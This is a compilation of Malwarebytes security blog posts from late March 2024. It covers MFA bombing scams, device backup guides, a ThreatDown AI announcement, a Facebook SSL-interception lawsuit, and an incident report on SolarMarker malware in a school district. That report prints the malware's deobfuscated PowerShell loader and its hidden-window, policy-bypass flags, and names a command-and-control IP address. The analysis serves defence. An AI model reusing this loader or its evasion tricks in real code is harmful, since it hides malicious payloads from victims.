A list of topics we covered in the week of March 25 to March 31 of 2024

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 A week in security (March 25 &#8211; March 31) 

Cybercriminals have taken MFA bombing to the next level by calling victims of an attack from a spoofed Apple Support number.

Simply put, MFA bombing (also known as “push bombing” or “MFA fatigue”) is a brute force attack on your patience. Cybercriminals use MFA bombing to break into accounts that are protected by multi-factor authentication (MFA).

MFA normally requires a user to enter a six-digit code sent by SMS, or generated by an app, or to respond to a push notification, when they enter a username and password. It provides an enormous increase in security and makes life much harder for criminals.

Because it’s so hard to break, criminals have taken to getting users to defeat their own MFA. They do this by using stolen credentials to try logging in, or by trying to reset a user’s password over and over again. In both cases this bombards the user with push notifications asking them to approve the login, or messages asking them to change their password. By doing this, the criminals hope that users will either tap the wrong option or get so fed up they just do whatever the messages are asking them to do, just to make the bombardment stop.

Now, according to this blog by Bran Krebs, these attacks have evolved. If you can withstand the pressure of the constant notifications, the criminals will call you pretending to come to your rescue.

In one example Krebs writes about, criminals flooded a target’s phone with password reset notifications for their Apple ID. Each notification required the user to choose either “Allow” or “Don’t Allow” before they could go back to using their device.

After withstanding the temptation to click “Allow”, and declining “100-plus” notifications, the victim receved a call from a spoofed number pretending to be Apple Support.

The call was designed to get the victim to trigger a password reset, and then to hand over the one-time password reset code sent to their device. Armed with a reset code, the criminals could change the victim’s password and lock them out of their account.

Luckily, in this situation the victim thought the callers seemed untrustworthy, so he asked them to provide some of his personal information, and they got his name wrong.

Another victim of MFA bombing learned that the notifications kept coming even after he bought a new device and created a new Apple iCloud account. This revealed that the attacks must have been targeted at his telephone number, because it was the only constant factor between the two device configurations.

Yet another target was told by Apple that setting up an Apple Recovery Key for his account would stop the notifications once and for all, although both Krebs and the victim dispute this.

Unfortunately, there doesn’t seem to be a lot you can do once an MFA bombing attack starts other than be patient, and be careful not to click Allow. If you get a call, know that Apple Support will never call you out of the blue, so don’t trust the caller, no matter how convenient their timing.

If you lose control of your Apple ID, go to iforgot.apple.com to start the account recovery process.

**We don’t just report on phone security—we provide it**

Cybersecurity risks should never spread beyond a headline. Keep threats off your mobile devices by downloading Malwarebytes for iOS, and Malwarebytes for Android today.

 MFA bombing taken to the next level 

Backing up your Mac is a simple process that can save your most important files from cyberthreats.

Backing up your Mac computer doesn’t need to be intimidating.

By taking advantage of a user-friendly feature released by Apple several years ago, the entire backup process can be handled almost automatically, preserving your most important files, photos, applications, and emails from cyberthreats and mishaps.

Before starting the backup process, **you will** **need an external storage device** that can connect to your Mac with a USB or Thunderbolt cable. External storage devices, which are sometimes called external hard drives, are developed and sold by many different companies, including Lacie, SanDisk, and Western Digital.

If you do not have an external storage device, you must first get one. You should also follow Apple’s recommendation that your external storage device be **twice as large** as the hard drive of your Mac computer.

To find the hard drive size of your current Mac, open the **System Settings** app on your computer. On the left-hand rail, click **General** and then, in the window open to the right, click **Storage**.

Several statistics and options will be shown.

At the top of the Storage section, the hard drive space is shown. Here, it is 494.38 GB, or 500 GB roughly.

The Mac shown here has 500 GB of internal storage. If we were to back this Mac up, we would need to use an external storage device of 1 TB (terabyte).

Once you have your external storage device, you can begin the actual backup processs.

The simplest way to back up your Mac is with the built-in feature “**Time Machine**.”

First, connect your external storage device to your Mac.

Then, you need to set up that storage device as your “backup disk.” This means that, from this point forward, your external storage device will have one primary use, and that is as a backup device that syncs with Time Machine. Apple recommends that you **do** **not** use your external storage device that you are using with Time Machine for anything other than Time Machine backups.

To set up your storage device as your backup disk, follow these instructions:

Go to **System Settings**.  

Click on **General** in the left sidebar.

From here, click on **Time Machine** in the main window displayed to the right.

From the **Time Machine** menu, click **Add Backup Disk** or click the “Add” button (+).

From here, select your external storage device and then click **Set Up Disk**.

At this point in the process, you may receive two options from Time Machine:

1.  If your device has other files on it, you will be asked if you want to erase the device so that it can be used solely as a backup with Time Machine. You can erase the files immediately and then continue the backup process through Time Machine. If you do not want to erase the files, you need to get a separate external storage device that will be used exclusively as a backup with Time Machine.
2.  If your external storage device already has backups from a prior computer, you will be asked whether you can to keep those backups and roll them into new backups made with Time Machine. This is up to you.

From here, the backup process is nearly done.

To make a backup, simply click on **Back Up Now** from the Time Machine menu.

Your first backup could take a long time to complete, but know that you can continue using your computer like normal while the process happens in the background.

From here on, whenever you attach your external storage device to your Mac, Time Machine will automatically ask to make a backup of the changes to your Mac. You can also change the frequency of your backups in your Time Machine Settings.

 How to back up your Mac 

An easy-to-understand guide on how to back up your Windows PC to OneDrive.

They say the only backup you ever regret is the one you didn’t make. Starting in Windows 10, the operating system (OS) now comes with a built-in tool to back up your files, themes, some settings, many of your installed apps, and your Wi-Fi information.

First, you’ll need to sign in with your Microsoft account

Go to **Start**  > **Settings**  > **Accounts**  > **Your info** . Select **Sign in with a Microsoft account instead**. You’ll see this only if you’re using a local account. If you see **Sign in with a local account instead**, you’re already using your Microsoft account.

To start the backup process select **Start**  **\> Windows Backup**.

Select **Folders** to drop down a list, and select which of your user folders you want to back up by toggling them **On** or **Off**. The ones you have already backed up will say **Backed up** next to them.

**Next**, you can move forward to back up your settings. You can use the drop down for each category and select the items you want to back up by setting them to **On** or **Off**.

First choose your apps:

Then your settings:

Then your credentials:

When you’ve decided on what to back up, click **Back up** and the backup will be made.

From this point on, Windows will synchronize these backups at regular intervals. If it’s been a while since you made your backups or changed your settings, you can check the status by going to **Start  > Settings  > Accounts  > Windows backup**.

_Current status_

**We don’t just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

 How to back up your Windows 10/11 PC to OneDrive 

An easy-to-understand guide on how to back up your iPhone to a Windows computer

They say the only backup you ever regret is the one you didn’t make. iPhone backups can be used to easily move your apps and data to a new phone, to recover things you’ve lost, or to fix things that have failed.

We’ve published posts on how to back up your iPhone to iCloud, and how to backup an iPhone to a Mac. Another method is to backup using the iTunes app on a Windows system.

Choose whichever backup method works best for you, and will continue to work.

First, connect your iPhone to the Windows system with a cable.

You are likely to see a prompt on your iPhone asking whether it can trust this computer.

To proceed, tap **Trust** and entering your passcode.

Then open the iTunes app on your Windows device.

In iTunes click the **Device** symbol in the upper left corner (next to the Music drop down box).

_Note: It may take a while before the device icon appears_

In the **Settings** of the iTunes app select **Summary**.

You’ll see some device data about your iPhone, and below that a **Backups** menu.

Here you can select either **iCloud** or **This Computer**.

To create a local backup select **This Computer** and click on **Back Up Now** to create a new backup of your iPhone on your Windows System.

To encrypt your backups, select **Encrypt local backup**, type a password, then click **Set Password**.

**We don’t just report on phone security—we provide it**

Cybersecurity risks should never spread beyond a headline. Keep threats off your mobile devices by downloading Malwarebytes for iOS, and Malwarebytes for Android today.

 How to back up your iPhone to a Windows computer 

An easy-to-understand guide on how to backup your iPhone or iPad to your Mac.

They say the only backup you ever regret is the one you didn’t make. iPhone backups can be used to easily move your apps and data to a new phone, to recover things you’ve lost, or to fix things that have failed.

One of the most cost effective ways to backup your iPhone is to save backups to your Mac. Backups are made automatically whenever you connect your iPhone to your Mac with a lead. Be aware though that backups can take up a lot of space on your Mac, and that if your Mac is lost, stolen, or inoperable, then you won’t be able to access your iPhone backups. If you need daily backups or backups that can always be accessed from anywhere, you may prefer to backup your iPhone to iCloud.

This guide tells you how to enable backups to your Mac, and how to check that everything is working as you expect.

First, connect your iPhone or iPad to a Mac using a cable.

Open the **Finder** app and select your iPhone from the list of **Locations**.

Click **Genera**l.

Under **Backups**, choose **Back up all of the data on your iPhone to this Mac**.

To encrypt your backup data and protect it with a password, select **Encrypt local backup**. You will be prompted for a password.

Click **Back Up Now.**

**We don’t just report on phone security—we provide it**

Cybersecurity risks should never spread beyond a headline. Keep threats off your mobile devices by downloading Malwarebytes for iOS, and Malwarebytes for Android today.

 How to back up your iPhone to a Mac 

An easy-to-understand guide on how to backup your iPhone or iPad to iCloud automatically.

They say the only backup you ever regret is the one you didn’t make. iPhone backups can be used to easily move your apps and data to a new phone, to recover things you’ve lost, or to fix things that have failed.

The most convenient way to backup your iPhone is to have it backup to iCloud. Backups are made every day, automatically, provided your phone is connected to power and locked. Be aware though that backups take take up a lot of your iCloud storage, and your phones’ data plan if you choose to backup when you aren’t connected to Wi-Fi. If those are likely to be problems for you, you might prefer to backup your iPhone to your Mac.

This guide tells you how to enable backups to iCloud, and how to check that everything is working as you expect.

Open the **Settings** app.

Then tap where you see your name and **Apple ID, iCloud+, Media & Purchases**.

Next, tap **iCloud**.

Scroll down and tap **iCloud Backup**.

Toggle **Back Up This iPhone** to on.

This may reveal a **Back Up Over Cellular Data** or **Back Up Over Mobile Data** toggle. This creates backups when you aren’t connected to Wi-Fi. Because backups can use a lot of data, toggling this on may cause you to exceed your data plan.

Once you have made a backup, you can access it from this screen under **ALL DEVICE BACKUPS**.

You can return to the previous screen by tapping the **< iCloud** link at the top. This screen shows you how much storage space your backups are using. To see a little more detail, tap **Manage Account Storage**.

Scroll down the list of apps until you see **Backups** to see how much storage your backups are using.

**We don’t just report on phone security—we provide it**

Cybersecurity risks should never spread beyond a headline. Keep threats off your mobile devices by downloading Malwarebytes for iOS, and Malwarebytes for Android today.

 How to back up your iPhone to iCloud 

Dive into where we are with AI and where we’re headed.

Nobody can deny the influence of AI today. In just a few years, we have observed AI’s capacity to be as transformative as the internet and smartphones, especially for cybersecurity. Indeed, the potential of AI to radically simplify complex security environments is unmistakable, and aligns closely with our mission at ThreatDown to reduce threats, complexity, and costs for our customers.

With continuous advancements in AI and its ever-expanding potential to enhance user experiences, ThreatDown remains dedicated to integrating these technologies into our solutions going forward. Let’s dive into where we are with AI and where we’re headed.

**What led us here**

We’ve always been big on democratizing security for all, and we believe AI has the potential to do just that. With this in mind, in late March 2024 we added a powerful AI functionality to our industry-leading Security Advisor. Users can now use simple natural language requests to search for information about their environment, ask for recommendations on how to optimize their security posture, and more.

Users will now see an “Ask AI” search bar on the Endpoints, Detections and Vulnerabilities pages

The deployment of generative AI into our Security Advisor propels us closer to our goal to make security management more accessible, especially for companies with constrained IT resources. Generative AI’s ability to sift through vast datasets to highlight essential issues and suggest actions significantly lowers the barrier to advanced security, eliminating the necessity for deep security know-how among users. But we’re not done yet.

**Where we’re going**

As we integrate generative AI, we envisage a host of potential advancements that could further revolutionize security management:

*   **Global AI search**: Our team is considering the development of a universal AI search feature, integrated across all products, that can comprehend natural language queries and surface relevant data.
*   **Evolving summarization techniques**: Imagine an AI that can not only summarize threats detected by EDR tools but also provides remediation steps with contextual help to follow along.
*   **Dynamic security recommendations**: We’re exploring the possibility of AI that not only provides recommendations but also adapts them in real-time based on the evolving security context of each user.

**Pioneering simplicity in security with AI**

AI will likely become a bigger and bigger fixture in security as the years go on, and as it evolves, ThreatDown is deeply committed to simplifying security management through the power of AI.

Nebula users can use Security Advisor and its AI capabilities today. Learn more.

 Powering the future of ThreatDown with AI 

How experts uncovered a years-long SolarMarker attack on a K-12 district

In early 2024, a large K-12 school district partnered with ThreatDown MDR to strengthen its cybersecurity posture. Shortly after onboarding, ThreatDown MDR analysts detected unusual patterns of activity subsequently identified as the work of SolarMarker, a sophisticated backdoor. It became evident that SolarMarker had been present in the district’s system since at least 2021, likely exfiltrating data over several years.

Let’s dive further into the investigation’s findings and the steps taken to mitigate the threat.

**SolarMarker infection****Background**

The incident began with the detection of an anomalous instance of PowerShell attempting to establish an outbound network connection to a suspicious IP address **(188.241.83.61)**. This connection attempt was thwarted by Malwarebytes Web Protection (MWAC), signaling the first indication of a potential security breach.

**Initial challenges**

Upon investigation, it was discovered that Endpoint Detection and Response (EDR) settings were disabled in the client’s endpoint policy. This limitation prevented the use of Fast Response Scanning (FRS) to capture and analyze detailed endpoint data, necessitating a manual approach to the investigation utilizing Active Response Scanning (ARS).

**Investigation and analysis**

The first step involved querying active network connections with **netstat**, which revealed an instance of PowerShell in operation. To further understand the nature of this PowerShell instance, its command line was examined using Windows Management Instrumentation Command-line (WMIC) with the process ID (PID), which unveiled obfuscated code.

**Decoding and understanding SolarMarker**

The obfuscated PowerShell code was extracted and refactored for clarity. The analysis revealed the following components of the malware’s operation:

    powershell
    
    $decodeKey = '<Base64_encoded_string>'
    
    $encodedFilePath = 'C:\Users\akeith\AppData\Roaming\micROSoft\wbpgVnSBjsytaokm\JqdVQplHfgwxyNmtaPX.gvzPlATqFe'
    
    $decodedPayload = [System.IO.File]::ReadAllBytes($encodedFilePath)
    
    for ($payloadIndex = 0; $payloadIndex -lt $decodedPayload.Count; $payloadIndex++) {
    
     $decodedPayload[$payloadIndex] = $decodedPayload[$payloadIndex] -bxor $decodeKey[$payloadIndex % $decodeKey.Length]
    
     if ($payloadIndex -ge $decodeKey.Length) {
    
     $payloadIndex = $decodeKey.Length
    
     }
    
    }
    
    [System.Reflection.Assembly]::Load($decodedPayload)
    
    [ab821408b424418fa94bb4d815b4e.ad0682a943e4859ef35309cc0a537]::a1f5abfa214411baa77e25f6ceaa6()
    

This code reveals the malware’s methodology:

*   It utilizes a Base64-encoded string as a decryption key.
*   It targets a specific file path for encoded data.
*   It reads, decodes, and executes the encrypted payload.

The command line shows signs of the malicious script execution, with parameters indicative of a desire to hide the window (-WindowStyle Hidden), bypass execution policies (-Ep ByPass), and run encoded commands (-ComMand “sa43…). 

Further investigation uncovered randomly named folders within the AppData\\Roaming\\Microsoft directory, each containing encoded payloads. These discoveries suggested a more widespread infection than initially anticipated.

**Response and mitigation**

The response involved several steps to contain and eliminate the threat:

*   Terminating the malicious PowerShell instance.
*   Deleting the identified folders containing encoded payloads.
*   Conducting a thorough search for persistence mechanisms, which fortunately yielded no findings.

A comprehensive threat scan was executed, and the incident was escalated for visibility with the client. Post-reboot checks confirmed the absence of persistence, no spawn of new PowerShell instances, and blocking of suspicious network connections, indicating successful remediation of the infection.

**Conclusion**

As we’ve seen in our 2024 State of Ransomware in Education report, the educational sector continues to be a prime target for attackers. In this case, attackers used SolarMarker, a sophisticated backdoor, to lurk within the school district’s network for years, likely stealing data in the process. Its presence went undetected until the district onboarded with ThreatDown MDR. Despite facing initial obstacles, such as disabled EDR settings, the ThreatDown MDR team successfully identified and neutralized the SolarMarker infection through manual intervention.

Discover how ThreatDown MDR can safeguard your K-12 institution.

 Stopping a K-12 cyberattack (SolarMarker) with ThreatDown MDR 

Facebook is accused of using potentially criminal methods to spy on Snapchat users to gain a commercial advantage over its competition.

Social media giant Facebook snooped on Snapchat users’ network traffic, engaged in anticompetitive behavior and exploited user data through deceptive practices. That’s according to a court document filed March 23, 2024.

The document mentions Facebook’s so-called In-App Action Panel (IAAP) program, which existed between June 2016 and approximately May 2019. The IAAP program, used an adversary-in-the-middle method called to intercept and decrypt Snapchat’s—and later YouTube’s and Amazon’s—SSL-protected analytics traffic to provide information for Facebook’s competitive decision making. Secure Sockets Layer (SSL) is a standard security technology for establishing an encrypted link between a server and a client.

On June 9, 2016, Facebook CEO Mark Zuckerberg complained about the lack of analytics about competitor Snapchat.

> “Whenever someone asks a question about Snapchat, the answer is usually that because their traffic is encrypted we have no analytics about them. . . .
> 
> Given how quickly they’re growing, it seems important to figure out a new way to get reliable analytics about them. Perhaps we need to do panels or write custom software. You should figure out how to do this.”

So, as part of the IAAP program, the company started Project Ghostbusters by using Onavo. Onavo was a VPN-like research tool that Facebook acquired in 2013. In 2019, Facebook shut down Onavo after a TechCrunch investigation revealed that Facebook had been secretly paying teenagers to use Onavo so the company could access all of their web activity.

The Project Ghostbusters technique relied on technology known as a server-side SSL bump performed on Facebook’s Onavo servers. SSL bumping, also known as SSL interception, involves intercepting and decrypting SSL/TLS traffic, inspecting it for malicious content or policy violations, and then re-encrypting and forwarding it to the intended destination.

To gain access to the data about their competitor, Facebook incentivized users to install “kits” on both Android and iOS devices that impersonated official servers and decrypted traffic that Facebook had no right to access.

These kits allowed Facebook to intercept traffic for specific sub-domains, allowing them to read what would otherwise be encrypted traffic and to measure in-app usage of their competitor’s apps. The users were clueless about what the kits did exactly, but it allowed the operators to view and analyze the traffic before it got encrypted.

According to the court documents, advertisers suing Meta claim that Facebook later expanded the program to Amazon and YouTube. This practice is likely in violation of wiretapping laws and “potentially criminal.” Facebook’s secret program likely violated the Wiretap Act, because it prohibits intentionally intercepting electronic communications with no applicable exception and the use of such intercepted communications.

We’ll keep you updated on how this develops.

**We don’t just report on phone security—we provide it**

Cybersecurity risks should never spread beyond a headline. Keep threats off your mobile devices by downloading Malwarebytes for iOS, and Malwarebytes for Android today.

Source

Malwarebytes